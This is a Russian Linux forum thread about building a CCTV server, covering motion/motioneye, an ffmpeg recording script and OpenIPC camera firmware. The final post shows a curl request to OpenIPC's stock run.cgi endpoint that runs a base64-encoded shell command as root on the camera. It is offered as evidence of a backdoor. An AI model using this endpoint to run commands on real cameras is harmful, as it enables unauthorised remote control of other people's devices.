LINUX.ORG.RU
решено ФорумAdmin

Сервер видеонаблюдения на Linux

 ,


3

1

Есть ip-камеры, работу которых можно посмотреть в реалтайме командой mpv rtsp://login:pass@ip/mpeg4
Есть задумка, не прибегая к приобретению каких-нибудь DAHUA регистраторов, организовать подобное (или часть необходимого функционала) под линуксом.
Великий гугл наискал решений типа ZoneMinder, Motion, Shinobi и Xeoma. Может был у кого опыт использования этих решений, да кто что посоветует?

P.S> Ну или может кто подкинет идею как красиво это организовать при помощи ffmpeg?


Использую motion + motioneye; сет из 16 камер. Камера отдает 2 потока - низкого разрешения и нормальный. Низкого разрешения обрабатывается motion'ом, дальше по событию с помощью ffmpeg начинает дампиться поток высокого разрешения. В современном motion есть возможность bypass'а потока высокого разрешения, но так требует чуть больше ресурсов.

YAR ★★★★★
()
Ответ на: комментарий от YAR

Пользуясь случаем:

  1. Знаешь ли ты, какой объём трафика генерит конкретно твоя камера? И вообще, поток от неё идет сжатый как-нибудь?

  2. Общий вопрос, скорее про сети, но для камер актуально - допустим я накостылил какую-то сеть с камерами, там несколько свитчей, один в другой. В итоге выходит так, что у самого корневого свитча (тот, который ближе к серверу) на одном порту (П1) сидит одна камера, а через другой порт (П2) 10 камер (разветвили свитчом). Вопрос, будет ли свитч давать для П2 канал в десять раз шире, чем для П1 (ну там ведь клиентов больше)? Или же ширина канала одинакова для каждого порта? Есть ли такие свитчи, которые умеют такое?

kvpfs_2
()
Последнее исправление: kvpfs_2 (всего исправлений: 1)

как красиво это организовать при помощи ffmpeg?

#!/bin/bash

while true; do

D=$(date +"%Y-%m-%d")

[ ! -d "$D" ] && mkdir $D

ffmpeg -loglevel quiet -rtsp_transport tcp -i rtsp://.. -c copy -y -t 01:00:00 $D/$(date +"%H-%M-%S").mp4

done;

работает примерно так лет 10 несколько камер, никаких проблем, бывало ffmpeg зависал, но очень редко, 1-2 раза за всё время

если хочется смотреть сразу, можно ts контейнер вместо mp4, но размер файлов получается чуть больше

yandrey ★★
()
Ответ на: комментарий от kvpfs_2

Знаешь ли ты, какой объём трафика генерит конкретно твоя камера? И вообще, поток от неё идет сжатый как-нибудь?

https://upload.jabberworld.info/u/ec27dcda43c1bdb422cd46afa492a43811cee88a/CO...

https://upload.jabberworld.info/u/ec27dcda43c1bdb422cd46afa492a43811cee88a/8O...

8 Мбит/с - верхняя граница настройки битрейта. По кодекам - для вторичного можно использовать mjpeg, но он оказался похуже по качеству картинки. Если камера может отдавать и там h264 - чего бы не пользоваться?

будет ли свитч давать для П2 канал в десять раз шире

Не будет, для него они равнозначны. В более умных свичах ты можешь ограничивать трафик на порту, но в данном случае это не имеет смысла.

YAR ★★★★★
()
Ответ на: комментарий от YAR

В более умных свичах ты можешь ограничивать трафик на порту

А как такие свитчи называются, где я могу задавать ширину канала для порта?

PS: совсем скоро займусь плотно видеонаблюдением у себя, решил узнать что-то раз есть возможность чтобы потом меньше гуглить пришлось

kvpfs_2
()

Огромное спасибо @YAR!
Пока остановился на motioneye. Развернул прям одной строчкой docker run. Без композа. На объекте у меня всего три камеры, при чём настроен IP-IP туннель и сам motion установлен на другом конце туннеля. Графана показывает нагрузку с максимальным всплеском до 15 мегабит. Запись по движению. @yandrey тоже интересный кейс ибо я за скрипты, но разберу чуть позже.
Всем спасибо за советы!

Dodik
() автор топика
Ответ на: комментарий от Dodik

Сами камеры также можно прошить на нормальную прошивку, ищи OpenIPC/coupler.

Если камера в списке поддерживаемых, умеешь держать паяльник, то в течение часа получишь нормальную камеру, без бекдоров и стабильной работой.

Ну поток rtsp можно будет забирать прямо с камеры. А дальше куда тебе удобнее будет - frigate, home assistant, amazon kinesis и так далее.

Nurmukh ★★★★
()
Ответ на: комментарий от Nurmukh

также можно прошить на нормальную прошивку, ищи OpenIPC/coupler

Кривое поделие, целиком состоящее лишь из бизибокса и горстки китайских бинарей без исходников. «Опен» там только в названии.

без бекдоров

Мамой клянёшься? Как тебе, кстати, такой штатный cgi-bin скриптик:

# на камере

root@openipc-ssc338q:~# ls -la /tmp
total 4
drwxrwxrwt    3 root     root            80 Jan  3 07:55 .
drwxr-xr-x    1 root     root             0 Dec 25 12:52 ..
-rw-r--r--    1 root     root            23 Dec 24 23:04 resolv.conf
drwxr-xr-x    2 root     root           100 Jan  3 07:52 webui

root@openipc-ssc338q:~# grep unsafe /etc/majestic.yaml 
  unsafe: false

root@openipc-ssc338q:~# killall -HUP majestic   # перезапускает majestic
# на хосте

$ curl "http://192.168.0.123/cgi-bin/j/run.cgi?cmd=$(echo 'touch /tmp/wtf' | base64)"
<b>root@openipc-ssc338q:/tmp# touch /tmp/wtf</b>
<b>root@openipc-ssc338q:/tmp# </b>
# снова на камере

root@openipc-ssc338q:~# ls -la /tmp
total 4
drwxrwxrwt    3 root     root           100 Jan  3 08:09 .
drwxr-xr-x    1 root     root             0 Dec 25 12:52 ..
-rw-r--r--    1 root     root            23 Dec 24 23:04 resolv.conf
-rw-r--r--    1 root     root             0 Jan  3 08:09 wtf
drwxr-xr-x    2 root     root           100 Jan  3 07:52 webui
stabilitron
()